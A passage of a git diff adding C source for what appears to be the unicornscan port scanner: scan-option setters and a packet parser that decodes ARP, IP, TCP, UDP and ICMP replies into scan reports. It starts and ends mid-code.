0 || strcmp(lkey, "defaultpayload") == 0) { + if (scan_setdefpayload(value)) return NULL; + } + else if (strcmp(lkey, "ignoreroot") == 0) { + if (scan_setignroot(value)) return NULL; + } + else if (strcmp(lkey, "dodns") == 0) { + if (scan_setdodns(value)) return NULL; + } + else if (strcmp(lkey, "repeats") == 0) { + if (scan_setrepeats(value)) return NULL; + } + else if (strcmp(lkey, "sourceport") == 0) { + if (scan_setsrcp(value)) return NULL; + } + else if (strcmp(lkey, "iptos") == 0) { + if (scan_settos(value)) return NULL; + } + else if (strcmp(lkey, "payload_group") == 0) { + if (scan_setpayload_grp(value)) return NULL; + } + else if (strcmp(lkey, "fingerprint") == 0) { + if (scan_setfingerprint(value)) return NULL; + } + else if (strcmp(lkey, "quiet") == 0) { + if (scan_setreportquiet(value)) return NULL; + } + else if (strcmp(lkey, "verbose") == 0) { + if (scan_setverbose(value)) return NULL; + } + else { + snprintf(ebuf, sizeof(ebuf) -1, "bad parameter `%s' or value %d", lkey, value); + } + + return ebuf; +} + +void scan_modaddkeyval(const char *key, const char *value) { + keyval_t *nkv=NULL; + + nkv=(keyval_t *)xmalloc(sizeof(keyval_t)); + nkv->key=xstrdup(key); + nkv->value=xstrdup(value); + nkv->next=NULL; + + if (kv_list != NULL) { + keyval_t *walk=NULL, *sdsdf=NULL; + + for (walk=kv_list; walk != NULL; walk=walk->next) { + sdsdf=walk; + } + + sdsdf->next=nkv; + } + else { + kv_list=nkv; + } + + return; +} + +void scan_collectkeyval(const char *modname) { + mod_params_t *mp=NULL; + + mp=(mod_params_t *)xmalloc(sizeof(mod_params_t)); + mp->next=NULL; + mp->name=xstrdup(modname); + assert(kv_list != NULL); + mp->kv=kv_list; + kv_list=NULL; + + if (s->mod_params == NULL) { + s->mod_params=mp; + } + else { + mod_params_t *walk=NULL, *dfgdfg=NULL; + + for (walk=s->mod_params; walk != NULL; walk=walk->next) { + dfgdfg=walk; + } + dfgdfg->next=mp; + } + + return; +} diff --git a/src/scan_progs/options.h b/src/scan_progs/options.h new file mode 100644 index 0000000..7d42536 --- /dev/null +++ b/src/scan_progs/options.h @@ -0,0 +1,76 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _OPTIONS_H +# define _OPTIONS_H + +int scan_setdefaults(void); + +int scan_setdronestring(const char *); +int scan_settcpquick(const char *); +int scan_setudpquick(const char *); +int scan_setopenclosed(const char * /* open */, const char * /* closed */); +int scan_setformat(const char *); +int scan_setenablemodule(const char *); +int scan_setgports(const char *); +int scan_setidlehosts(const char *); +int scan_setignoreseq(const char *); +int scan_setinterface(const char *); +int scan_setmoddir(const char *); +int scan_setpcapfilter(const char *); +int scan_setpps(const char *); +int scan_setprofile(const char *); +int scan_setreadfile(const char *); +int scan_setsavefile(const char *); +int scan_setdebug(const char *); + +int scan_setcovertness(int); +int scan_setdefpayload(int); +int scan_setdelaytype(int); +int scan_setdodns(int); +int scan_setidlescan(int); +int scan_setignroot(int); +int scan_setimmediate(int); +int scan_setlistendrone(int); +int scan_setppsi(int); +int scan_setprocdups(int); +int scan_setprocerrors(int); +int scan_setrepeats(int); +int scan_setreportquiet(int); +int scan_setsenddrone(int); +int scan_setshuffle(int); +int scan_setsniff(int); +int scan_settryfrags(int); +int scan_setverbose(int); +int scan_settrans(int); +int scan_setpayload_grp(int); + +int scan_setverboseinc(void); /* kludge for getconfig.c */ + +char *scan_getgports(void); +char *scan_getdesthosts(void); + +/* create or append to a list of key value pairs used for module settings */ +void scan_modaddkeyval(const char *, const char *); +/* collect the key value pairs in the list so far, and add them into the module param list in s */ +void scan_collectkeyval(const char *); + +char *scan_optmap(const char *, const char *); +char *scan_optmapi(const char *, int); + +#endif diff --git a/src/scan_progs/packet_parse.c b/src/scan_progs/packet_parse.c new file mode 100644 index 0000000..f712b28 --- /dev/null +++ b/src/scan_progs/packet_parse.c @@ -0,0 +1,966 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include +#include +#include + +#include +#include +#include +#include + +#include +#include +#include + +#include + +#include + +static void report_init(int /* type */, const struct timeval * /* pcap recv time */); +static void packet_init(const uint8_t * /* packet */, size_t /* pk_len */); +static void report_push(void); + +static void decode_arp (const uint8_t * /* packet */, size_t /* pk_len */, int /* pk_layer */); +static void decode_ip (const uint8_t * /* packet */, size_t /* pk_len */, int /* pk_layer */); +static void decode_tcp (const uint8_t * /* packet */, size_t /* pk_len */, int /* pk_layer */); +static void decode_udp (const uint8_t * /* packet */, size_t /* pk_len */, int /* pk_layer */); +static void decode_icmp(const uint8_t * /* packet */, size_t /* pk_len */, int /* pk_layer */); +static void decode_junk(const uint8_t * /* packet */, size_t /* pk_len */, int /* pk_layer */); + +static int r_type=0; +static union { + arp_report_t a; + ip_report_t i; +} r_u; + +extern void *r_queue, *p_queue; + +static const uint8_t *trailgarbage=NULL, *p_ptr=NULL; +static size_t trailgarbage_len=0, p_len=0; +static ip_pseudo_t ipph; + +static void packet_init(const uint8_t *packet, size_t pk_len) { + p_ptr=packet; + p_len=pk_len; + return; +} + +static void report_init(int type, const struct timeval *pcap_time) { + + r_type=type; + switch (type) { + case REPORT_TYPE_IP: + memset(&r_u.i, 0, sizeof(ip_report_t)); + + r_u.i.magic=IP_REPORT_MAGIC; + r_u.i.od_q=NULL; /* this is not used here */ + if (pcap_time) { + r_u.i.recv_time.tv_sec=pcap_time->tv_sec; + r_u.i.recv_time.tv_usec=pcap_time->tv_usec; + } + break; + + case REPORT_TYPE_ARP: + memset(&r_u.a, 0, sizeof(arp_report_t)); + + r_u.a.magic=ARP_REPORT_MAGIC; + r_u.a.od_q=NULL; /* this is not used here */ + if (pcap_time) { + r_u.a.recv_time.tv_sec=pcap_time->tv_sec; + r_u.a.recv_time.tv_usec=pcap_time->tv_usec; + } + break; + + default: + PANIC("unknown report type requested"); + break; + } + return; +} + +static void report_push(void) { + union { + arp_report_t *a; + ip_report_t *i; + void *ptr; + } pr_u; + + DBG(M_RPT, "in report_push r_type %d", r_type); + + switch (r_type) { + case REPORT_TYPE_ARP: + + pr_u.ptr=xmalloc(sizeof(arp_report_t)); + memcpy(pr_u.ptr, (const void *)&r_u.a, sizeof(arp_report_t)); + pr_u.a->doff=0; + + if (s->ss->ret_layers > 0) { + union { + uint16_t *len; + uint8_t *inc; + void *ptr; + } pk_u; + + if (p_len < 1) { + PANIC("saved packet size is incorrect"); + } + + pk_u.ptr=xmalloc(p_len + sizeof(uint16_t)); + *pk_u.len=p_len; + memcpy(pk_u.inc + sizeof(uint16_t), p_ptr, p_len); + fifo_push(p_queue, pk_u.ptr); + DBG(M_RPT, "pushed packet into p_queue"); + pr_u.a->doff=p_len; + } + + fifo_push(r_queue, pr_u.ptr); + DBG(M_RPT, "pushed report into r_queue"); + break; + + case REPORT_TYPE_IP: + pr_u.ptr=xmalloc(sizeof(ip_report_t)); + memcpy(pr_u.ptr, (const void *)&r_u.i, sizeof(ip_report_t)); + pr_u.i->doff=0; + + if (s->ss->ret_layers > 0) { + union { + uint16_t *len; + uint8_t *inc; + void *ptr; + } pk_u; + + if (p_len < 1) { + PANIC("saved packet size is incorrect"); + } + + pk_u.ptr=xmalloc(p_len + sizeof(uint16_t)); + *pk_u.len=p_len; + memcpy(pk_u.inc + sizeof(uint16_t), p_ptr, p_len); + fifo_push(p_queue, pk_u.ptr); + DBG(M_RPT, "pushed packet into p_queue"); + pr_u.i->doff=p_len; + } + + fifo_push(r_queue, pr_u.ptr); + + DBG(M_RPT, "pushed report into r_queue"); + break; + + default: + PANIC("unknown report type %d", r_type); + break; + } +} + +void parse_packet(uint8_t *notused, const struct pcap_pkthdr *phdr, const uint8_t *packet) { + size_t pk_len=0; + int pk_layer=0; + extern pcap_dumper_t *pdump; + + if (packet == NULL || phdr == NULL) { + ERR("%s is null", packet == NULL ? "packet" : "pcap header"); + return; + } + + /* when you forget to put this here, it makes for really dull pcap log files */ + if (s->pcap_dumpfile) { + pcap_dump((uint8_t *)pdump, phdr, packet); + } + + pk_len=phdr->caplen; + + if (pk_len <= s->ss->header_len) { + ERR("this packet is too short " STFMT ", header length is %u", pk_len, s->ss->header_len); + return; + } + + if (ISDBG(M_PKT) || GET_SNIFF()) { + INF("got packet with length %u (cap %u) with header length at %u", phdr->len, phdr->caplen, s->ss->header_len); + } + + pk_len -= s->ss->header_len; + packet += s->ss->header_len; + pk_layer++; + + switch (s->ss->mode) { + case MODE_ARPSCAN: + report_init(REPORT_TYPE_ARP, &phdr->ts); + packet_init(packet, pk_len); + decode_arp(packet, pk_len, pk_layer); /* the pcap filter should be arp only */ + break; + + case MODE_TCPSCAN: + case MODE_UDPSCAN: + case MODE_ICMPSCAN: + case MODE_IPSCAN: + report_init(REPORT_TYPE_IP, &phdr->ts); + packet_init(packet, pk_len); + decode_ip(packet, pk_len, pk_layer); /* the pcap filter should be ip only */ + break; + + } + + return; +} + +static void decode_arp (const uint8_t *packet, size_t pk_len, int pk_layer) { + union { + const struct myetherarphdr *a; + const uint8_t *d; + } a_u; + uint16_t hwtype=0, opcode=0; + + a_u.d=packet; + r_u.a.flags=0; + + if (pk_len < sizeof(struct myetherarphdr)) { + ERR("short arp packet"); + return; + } + + hwtype=ntohs(a_u.a->hw_type); + opcode=ntohs(a_u.a->opcode); + + if (a_u.a->protosize != 4 || a_u.a->hwsize != 6) { + DBG(M_PKT, "arp packet isnt 6:4, giving up"); + return; + } + + if (opcode != ARPOP_REPLY) { + return; + } + + if (memcmp(s->vi[0]->hwaddr, a_u.a->smac, 6) == 0) { + return; /* we sent this */ + } + + if (ISDBG(M_PKT) || GET_SNIFF()) { + char srcip[32], srcmac[32]; + struct in_addr ia; + + ia.s_addr=a_u.a->sip; + sprintf(srcip, "%s", inet_ntoa(ia)); + ia.s_addr=a_u.a->dip; + sprintf(srcmac, "%s", decode_6mac(a_u.a->smac)); + + INF("ARP : hw_type `%s' protocol `%s' hwsize %d protosize %d opcode `%s'", + str_hwtype(hwtype), str_hwproto(a_u.a->protocol), a_u.a->hwsize, a_u.a->protosize, str_opcode(opcode)); + INF("ARP : SRC HW %s SRC IP -> %s DST HW %s DST IP %s", + srcmac, srcip, decode_6mac(a_u.a->dmac), inet_ntoa(ia)); + } + + pk_len -= sizeof(struct myetherarphdr); + + memcpy(r_u.a.hwaddr, a_u.a->smac, THE_ONLY_SUPPORTED_HWADDR_LEN); + memcpy(&r_u.a.ipaddr, &a_u.a->sip, sizeof(r_u.a.ipaddr)); + + report_push(); + + if (pk_len) { + /* frame padding ;] */ + pk_layer++; + packet += sizeof(struct myetherarphdr); + decode_junk(packet, pk_len, pk_layer); + } + + return; +} + +static void decode_ip (const uint8_t *packet, size_t pk_len, int pk_layer) { + union { + const struct myiphdr *i; + const uint8_t *d; + } i_u; + uint16_t fragoff=0, totlen=0, ipid=0, chksum=0, c_chksum=0; + uint32_t saddr=0, daddr=0; + size_t opt_len=0; + int bad_cksum=0; + + i_u.d=packet; + r_u.i.flags=0; + + if (pk_len < sizeof(struct myiphdr)) { + ERR("short ip packet"); + return; + } + + if (i_u.i->ihl < 5) { + ERR("ihl is less than 5, this packet is likely confused/damaged"); + return; + } + + ipid=ntohs(i_u.i->id); + fragoff=ntohs(i_u.i->frag_off); + totlen=ntohs(i_u.i->tot_len); + chksum=ntohs(i_u.i->check); + /* XXX everything expects addresses in network order */ + saddr=i_u.i->saddr; + daddr=i_u.i->daddr; + + /* precalculated ip-pseudo header for transport layer checksumming */ + ipph.saddr=saddr; + ipph.daddr=daddr; + ipph.zero=0; + ipph.proto=i_u.i->protocol; + ipph.len=0; + + opt_len=(i_u.i->ihl - (sizeof(struct myiphdr) / 4)) * 4; + + if (fragoff & IP_OFFMASK) { + ERR("likely bad: (is DF set? perhaps we need it) ignoring fragmented packet"); + return; + } + + if (totlen > pk_len && pk_layer == 1) { + /* this packet has an incorrect ip packet length, stop processing */ + ERR("likely bad: packet has incorrect ip length, skipping it [ip total length claims %u and we have " STFMT, totlen, pk_len); + return; + } + else if (pk_layer == 3 && totlen > pk_len) { + totlen=pk_len; + } + + if (pk_len > totlen) { + /* + * there is trailing junk past the end of the ip packet, save a pointer to it, + * and its length, then update pk_len + */ + DBG(M_PKT, "packet has trailing junk, saving a pointer to it and its length " STFMT, pk_len - totlen); + trailgarbage=packet + totlen; + trailgarbage_len=pk_len - totlen; + pk_len=totlen; + } + + if ((opt_len + sizeof(struct myiphdr)) > pk_len) { + DBG(M_PKT, "IP options seem to overlap the packet size, truncating and assuming no ip options"); + opt_len=0; /* must be a trick, assume no options then, in case this is a damaged ip header is under a icmp reply */ + } + + if ((c_chksum=do_ipchksum(packet, opt_len + sizeof(struct myiphdr))) != 0) { + DBG(M_PKT, "bad cksum, ipchksum returned %u", c_chksum); + bad_cksum=1; + } + + if (ISDBG(M_PKT) || GET_SNIFF()) { + char frag_flags[32]; + char src_addr[32], dst_addr[32]; + struct in_addr ia; + + ia.s_addr=saddr; + sprintf(src_addr, "%s", inet_ntoa(ia)); + + ia.s_addr=daddr; + sprintf(dst_addr, "%s", inet_ntoa(ia)); + + CLEAR(frag_flags); + if (fragoff & IP_DF) { + strcat(frag_flags, "DF "); + } + if (fragoff & IP_MF) { + strcat(frag_flags, "MF "); + } + if (fragoff & IP_RF) { + strcat(frag_flags, "RF "); + } + + INF("IP : ihl %u (opt len " STFMT ") size " STFMT " version %u tos 0x%02x tot_len %u ipid %u frag_off %04x %s", + i_u.i->ihl, opt_len, pk_len, i_u.i->version, i_u.i->tos, totlen, ipid, fragoff & IP_OFFMASK, frag_flags); + INF("IP : ttl %u protocol `%s' chksum 0x%04x%s IP SRC %s IP DST %s", + i_u.i->ttl, str_ipproto(i_u.i->protocol), chksum, (bad_cksum == 1 ? " [bad cksum]" : " [cksum ok]"), src_addr, dst_addr); + } + + if (pk_layer == 1) { + r_u.i.proto=i_u.i->protocol; + r_u.i.host_addr=saddr; + r_u.i.trace_addr=saddr; + r_u.i.send_addr=daddr; + r_u.i.ttl=i_u.i->ttl; + if (bad_cksum) { + r_u.i.flags |= REPORT_BADNETWORK_CKSUM; + } + } + else if (pk_layer == 3) { /* this is a ip header within an icmp header normally */ + /* + * this was the _original host_ we sent to according + * to the icmp error reflection + */ + r_u.i.host_addr=daddr; + } + else { + ERR("decode IP at unknown layer %d", pk_layer); + return; + } + + if (opt_len > 0) { + decode_ipopts(packet + sizeof(struct myiphdr), opt_len); + } + + pk_len -= sizeof(struct myiphdr) + opt_len; + packet += sizeof(struct myiphdr) + opt_len; + + if (pk_len) { + switch (i_u.i->protocol) { + case IPPROTO_TCP: + decode_tcp(packet, pk_len, ++pk_layer); + break; + + case IPPROTO_UDP: + decode_udp(packet, pk_len, ++pk_layer); + break; + + case IPPROTO_ICMP: + decode_icmp(packet, pk_len, ++pk_layer); + break; + + default: + ERR("filter is broken?"); + break; + } + } + + return; +} + +static void decode_tcp (const uint8_t *packet, size_t pk_len, int pk_layer) { + union { + const struct mytcphdr *t; + const uint8_t *d; + } t_u; + uint16_t sport=0, dport=0; + uint32_t seq=0, ackseq=0; + uint8_t doff=0, res1=0; + uint16_t window=0, chksum=0, c_chksum=0, urgptr=0; + size_t data_len=0, tcpopt_len=0; + int bad_cksum=0; + union { + const ip_pseudo_t *ipph_ptr; + const uint8_t *ptr; + } ipph_u; + struct chksumv c[2]; + + t_u.d=packet; + + if (pk_layer == 4) { /* this is inside an icmp error reflection, check that */ + if (r_u.i.proto != IPPROTO_ICMP) { + ERR("FIXME in TCP not inside an ICMP error?"); + return; + } + /* + * ok so why the special treatment? well the packet may be incomplete, so its ok if we dont have + * a full udp header, we really are only looking for the source and dest ports, we _need_ those + * everything else is optional at this point + */ + if (pk_len < 4) { + ERR("TCP header too incomplete to get source and dest ports, halting processing"); + return; + } + if (pk_len >= 4 && pk_len < sizeof(struct mytcphdr)) { + /* + * this is reversed from a response, the host never responded so flip src/dest ports + */ + r_u.i.sport=ntohs(t_u.t->dest); + r_u.i.dport=ntohs(t_u.t->source); + + return; + } + } + + if (pk_len < sizeof(struct mytcphdr)) { + ERR("short tcp header"); + return; + } + + sport=ntohs(t_u.t->source); + dport=ntohs(t_u.t->dest); + seq=ntohl(t_u.t->seq); + ackseq=ntohl(t_u.t->ack_seq); + doff=t_u.t->doff; res1=t_u.t->res1; + window=ntohs(t_u.t->window); + chksum=ntohs(t_u.t->check); + urgptr=ntohs(t_u.t->urg_ptr); + + if (pk_layer == 2) { + uint32_t eackseq=0, high=0; + + TCPHASHTRACK(eackseq, r_u.i.host_addr, sport, dport, s->ss->syn_key); + + if (GET_LDOCONNECT()) { + DBG(M_PKT, "window size is %u or whatever", s->ss->window_size); + high=eackseq + s->ss->window_size; + } + else { + high=eackseq + 2; /* should always be +1, but lets just accept someone who didnt inc th seq */ + } + + if (SEQ_WITHIN(ackseq, eackseq, high)) { + DBG(M_PKT, "packet within my %08x-%08x window, with %08x expecting %08x", eackseq, high, ackseq, eackseq); + } + else if (! GET_SNIFF() && ! GET_IGNORESEQ() && ! (GET_IGNORERSEQ() && t_u.t->rst)) { + DBG(M_PKT, "not my packet ackseq %08x expecting somewhere around %08x-%08x", ackseq, eackseq, high); + return; + } + } /* layer 3 seq checking */ + + if (doff && ((size_t)(doff * 4) > pk_len)) { + ERR("datalength exceeds capture length, truncating to zero (doff %u bytes pk_len " STFMT ")", doff * 4, pk_len); + doff=0; + } + + if (doff && (size_t )(doff * 4) < sizeof(struct mytcphdr)) { + ERR("doff is too small, increasing to min size and hoping for no tcpoptions"); + doff=sizeof(struct mytcphdr) / 4; + } + + if (doff) { + tcpopt_len=((doff * 4) - sizeof(struct mytcphdr)); + data_len=pk_len - (doff * 4); + } + else { + tcpopt_len=pk_len - sizeof(struct mytcphdr); + data_len=0; + } + + ipph_u.ipph_ptr=&ipph; + /* its not natural to use _this_ size... */ + ipph.len=ntohs(pk_len); + + c[0].len=sizeof(ipph); + c[0].ptr=ipph_u.ptr; + + c[1].len=pk_len; + c[1].ptr=packet; + + c_chksum=do_ipchksumv((const struct chksumv *)&c[0], 2); + if (c_chksum != 0) { + DBG(M_PKT, "bad tcp checksum, ipchksumv returned 0x%04x", c_chksum); + bad_cksum=1; + } + + if (ISDBG(M_PKT) || GET_SNIFF()) { + char tcpflags[16]; + + memset(tcpflags, '-', sizeof(tcpflags)); + tcpflags[8]='\0'; + if (t_u.t->fin) tcpflags[0]='F'; + if (t_u.t->syn) tcpflags[1]='S'; + if (t_u.t->rst) tcpflags[2]='R'; + if (t_u.t->psh) tcpflags[3]='P'; + if (t_u.t->ack) tcpflags[4]='A'; + if (t_u.t->urg) tcpflags[5]='U'; + if (t_u.t->ece) tcpflags[6]='E'; + if (t_u.t->cwr) tcpflags[7]='C'; + + INF("TCP : size " STFMT " sport %u dport %u seq 0x%08x ack_seq 0x%08x window %u", + pk_len, sport, dport, seq, ackseq, window); + INF("TCP : doff %u res1 %u flags `%s' chksum 0x%04x%s urgptr 0x%04x", + doff, res1, tcpflags, chksum, (bad_cksum != 0 ? " [bad cksum]" : " [cksum ok]"), urgptr); + INF("TCP : options length " STFMT " data length " STFMT, tcpopt_len, data_len); + } + + packet += sizeof(struct mytcphdr); + pk_len -= sizeof(struct mytcphdr); + + if (tcpopt_len && (ISDBG(M_PKT) || GET_SNIFF())) { + decode_tcpopts(packet, tcpopt_len); + } + + if (data_len && (ISDBG(M_PKT) || GET_SNIFF())) { + INF("TCP : dumping packet data"); + hexdump(packet + tcpopt_len, data_len); + } + + if (pk_layer == 2) { + r_u.i.sport=sport; + r_u.i.dport=dport; + r_u.i.type=0; + + r_u.i.tseq=seq; + r_u.i.mseq=ackseq; + + r_u.i.window_size=window; + + if (t_u.t->fin) r_u.i.type |= TH_FIN; + if (t_u.t->syn) r_u.i.type |= TH_SYN; + if (t_u.t->rst) r_u.i.type |= TH_RST; + if (t_u.t->psh) r_u.i.type |= TH_PSH; + if (t_u.t->ack) r_u.i.type |= TH_ACK; + if (t_u.t->urg) r_u.i.type |= TH_URG; + if (t_u.t->ece) r_u.i.type |= TH_ECE; + if (t_u.t->cwr) r_u.i.type |= TH_CWR; + + r_u.i.subtype=0; + + if (bad_cksum) { + r_u.i.flags |= REPORT_BADTRANSPORT_CKSUM; + } + + if (GET_WATCHERRORS() || GET_LDOCONNECT()) { + report_push(); + } + else if (t_u.t->syn /* close enough */) { + report_push(); + } + } + else if (pk_layer == 4) { + r_u.i.sport=dport; + r_u.i.dport=sport; + r_u.i.mseq=ackseq; + r_u.i.tseq=seq; + r_u.i.window_size=0; + } + else { + ERR("fixme"); + return; + } + + return; +} + +static void decode_udp (const uint8_t *packet, size_t pk_len, int pk_layer) { + union { + const struct myudphdr *u; + const uint8_t *d; + } u_u; + uint16_t sport=0, dport=0, len=0, chksum=0, c_chksum=0; + int bad_cksum=0; + union { + const ip_pseudo_t *ipph_ptr; + const uint8_t *ptr; + } ipph_u; + struct chksumv c[2]; + + u_u.d=packet; + + if (pk_layer == 4) { /* this is inside an icmp error reflection, check that */ + if (r_u.i.proto != IPPROTO_ICMP) { + ERR("FIXME in UDP not inside a ICMP error?"); + return; + } + /* see TCP comment above about special treatment */ + if (pk_len < 4) { + ERR("UDP header too short to get source and dest ports"); + return; + } + if (pk_len >= 4 && pk_len < sizeof(struct myudphdr)) { + /* this is reversed from a response, the host never responded so flip src/dest ports */ + r_u.i.sport=ntohs(u_u.u->dest); + r_u.i.dport=ntohs(u_u.u->source); + r_u.i.tseq=0; + r_u.i.mseq=0; + + return; + } + } + + if (pk_len < sizeof(struct myudphdr)) { + ERR("short udp header"); + return; + } + sport=ntohs(u_u.u->source); + dport=ntohs(u_u.u->dest); + len=ntohs(u_u.u->len); + chksum=ntohs(u_u.u->check); + + ipph_u.ipph_ptr=&ipph; + ipph.len=ntohs(pk_len); + + c[0].len=sizeof(ipph); + c[0].ptr=ipph_u.ptr; + + c[1].len=pk_len; + c[1].ptr=packet; + + c_chksum=do_ipchksumv((const struct chksumv *)&c[0], 2); + if (c_chksum != 0) { + DBG(M_PKT, "bad udp checksum, ipchksumv returned 0x%x", c_chksum); + bad_cksum=1; + } + + if (ISDBG(M_PKT) || GET_SNIFF()) { + INF("UDP : pklen " STFMT " sport %u dport %u len %u checksum %04x%s", + pk_len, sport, dport, len, chksum, bad_cksum == 0 ? " [bad cksum]" : " [cksum ok]"); + } + + if (pk_layer == 2) { + r_u.i.sport=sport; + r_u.i.dport=dport; + r_u.i.type=0; + r_u.i.subtype=0; + r_u.i.tseq=0; + r_u.i.mseq=0; + + report_push(); + } + else if (pk_layer == 4) { + /* this is reversed from a response, the host never responded so flip src/dest ports */ + r_u.i.sport=dport; + r_u.i.dport=sport; + r_u.i.tseq=0; + r_u.i.mseq=0; + } + else { + ERR("FIXME at decode UDP at layer %d", pk_layer); + return; + } + + pk_len -= sizeof(struct myudphdr); + packet += sizeof(struct myudphdr); + + if (pk_len && (ISDBG(M_PKT) || GET_SNIFF())) { + INF("UDP : dumping UDP payload"); + hexdump(packet, pk_len); + } + + return; +} + +static void decode_icmp(const uint8_t *packet, size_t pk_len, int pk_layer) { + union { + const struct myicmphdr *i; + const uint8_t *d; + } ic_u; /* ;] */ + uint8_t type=0, code=0; + uint16_t chksum=0; + + ic_u.d=packet; + + if (pk_len < 4) { + ERR("short icmp header"); + return; + } + + type=ic_u.i->type; + code=ic_u.i->code; + chksum=ntohs(ic_u.i->checksum); + + if (ISDBG(M_PKT) || GET_SNIFF()) { + INF("ICMP: type %u code %u chksum %04x%s", type, code, chksum, "[?]"); + } + + if (type == 3 || type == 5 || type == 11) { + /* + * dest unreachable, the packet that generated this error should be after the icmpheader + * redirect message, same as with unreachable + * time exceeded, same as with above + */ + + if (pk_len > sizeof(struct myicmphdr)) { /* there _could_ be data there, try to process it */ + const uint8_t *newpacket=NULL; + size_t newpk_len=0; + + newpacket=packet + sizeof(struct myicmphdr); + newpk_len=pk_len - sizeof(struct myicmphdr); + + decode_ip(newpacket, newpk_len, (pk_layer + 1)); + } + } + else if (type == 0 || type == 8) { + /* pings ignore */ + DBG(M_PKT, "Ignoring ping request or response"); + } + + if (pk_layer == 2) { + r_u.i.type=type; + r_u.i.subtype=code; + + report_push(); + } + + return; +} + +static void decode_junk(const uint8_t *packet, size_t pk_len, int pk_layer) { + if (ISDBG(M_PKT) || GET_SNIFF()) { + INF("JUNK: dumping trailing junk at end of packet at layer %d length " STFMT, pk_layer, pk_len); + hexdump(packet, pk_len); + } + return; +} + +/* + * misc functions + */ + +void decode_ipopts(const uint8_t *data, size_t len) { +/* +(last updated 2001-06-29) + +The Internet Protocol (IP) has provision for optional header fields +identified by an option type field. Options 0 and 1 are exactly one +octet which is their type field. All other options have their one +octet type field, followed by a one octet length field, followed by +length-2 octets of option data. The option type field is sub-divided +into a one bit copied flag, a two bit class field, and a five bit +option number. These taken together form an eight bit value for the +option type field. IP options are commonly refered to by this value. + + +Copy Class Number Value Name Reference +---- ----- ------ ----- ------------------------------- --------- + 0 0 0 0 EOOL - End of Options List [RFC791,JBP] + 0 0 1 1 NOP - No Operation [RFC791,JBP] + 1 0 2 130 SEC - Security [RFC1108] + 1 0 3 131 LSR - Loose Source Route [RFC791,JBP] + 0 2 4 68 TS - Time Stamp [RFC791,JBP] + 1 0 5 133 E-SEC - Extended Security [RFC1108] + 1 0 6 134 CIPSO - Commercial Security [???] + 0 0 7 7 RR - Record Route [RFC791,JBP] + 1 0 8 136 SID - Stream ID [RFC791,JBP] + 1 0 9 137 SSR - Strict Source Route [RFC791,JBP] + 0 0 10 10 ZSU - Experimental Measurement [ZSu] + 0 0 11 11 MTUP - MTU Probe [RFC1191]* + 0 0 12 12 MTUR - MTU Reply [RFC1191]* + 1 2 13 205 FINN - Experimental Flow Control [Finn] + 1 0 14 142 VISA - Expermental Access Control [Estrin] + 0 0 15 15 ENCODE - ??? [VerSteeg] + 1 0 16 144 IMITD - IMI Traffic Descriptor [Lee] + 1 0 17 145 EIP - Extended Internet Protocol[RFC1385] + 0 2 18 82 TR - Traceroute [RFC1393] + 1 0 19 147 ADDEXT - Address Extension [Ullmann IPv7] + 1 0 20 148 RTRALT - Router Alert [RFC2113] + 1 0 21 149 SDB - Selective Directed Broadcast[Graff] + 1 0 22 150 NSAPA - NSAP Addresses [Carpenter] + 1 0 23 151 DPS - Dynamic Packet State [Malis] + 1 0 24 152 UMP - Upstream Multicast Pkt. [Farinacci] +*/ + if (ISDBG(M_PKT) || GET_SNIFF()) { + INF("IPOP: dumping ipoptions"); + hexdump(data, len); + } +} + +void decode_tcpopts(const uint8_t *data, size_t len) { + const uint8_t *ptr=NULL; + char optstr[128]; + size_t dataoff=0, optstr_off=0; + char scratch[32]; + union { + const uint8_t *ptr; + const uint16_t *hw; + const uint32_t *w; + } w_u, w2_u; + +#define OPTSTR_APPEND(x) \ + do { \ + optstr_off += snprintf(&optstr[optstr_off], sizeof(optstr) - (optstr_off + 1), "%s ", (x)); \ + } while(0) + +#define OPTSTR_APPENDU(x) \ + do { \ + optstr_off += snprintf(&optstr[optstr_off], sizeof(optstr) - (optstr_off + 1), "? [0x%02x] ", (x)); \ + } while(0) + + memset(optstr, 0, sizeof(optstr)); + + for (ptr=data, dataoff=0; dataoff < len; ) { + switch ((uint8_t )*ptr) { + case TCPOPT_EOL: + OPTSTR_APPEND("E"); + DBG(M_PKT, "EOL, halt processing"); + goto done; + + case TCPOPT_NOP: + OPTSTR_APPEND("N"); + dataoff++; ptr++; + break; + + case TCPOPT_MAXSEG: + memset(scratch, 0, sizeof(scratch)); + dataoff++; + ptr++; + if (*ptr != 4 || (dataoff + 2) > len) { + ERR("tcpopt MAXSEG damaged"); + OPTSTR_APPEND("MSS (damaged)"); + goto done; + } + ptr++; + dataoff++; + w_u.ptr=ptr; + snprintf(scratch, sizeof(scratch) -1, "MSS%u", ntohs(*w_u.hw)); + OPTSTR_APPEND(scratch); + ptr += 2; + dataoff += 2; + break; + + case TCPOPT_SACK_PERMITTED: + dataoff++; ptr++; + if (*ptr != 2) { + ERR("tcpopt SackOK damaged"); + OPTSTR_APPEND("SackOK (damaged)"); + goto done; + } + OPTSTR_APPEND("SackOK"); + dataoff++; + ptr++; + break; + + case TCPOPT_TIMESTAMP: + dataoff++; + ptr++; + if (*ptr != 10 || (dataoff + 9) > len) { + ERR("tcpopt TS damaged"); + OPTSTR_APPEND("TS (damaged)"); + goto done; + } + ptr++; + dataoff++; + w_u.ptr=ptr; + w2_u.ptr=(ptr + 4); + memset(scratch, 0, sizeof(scratch)); + snprintf(scratch, sizeof(scratch) -1, "TS %u:%u", *w_u.w, *w2_u.w); + ptr += 8; + dataoff += 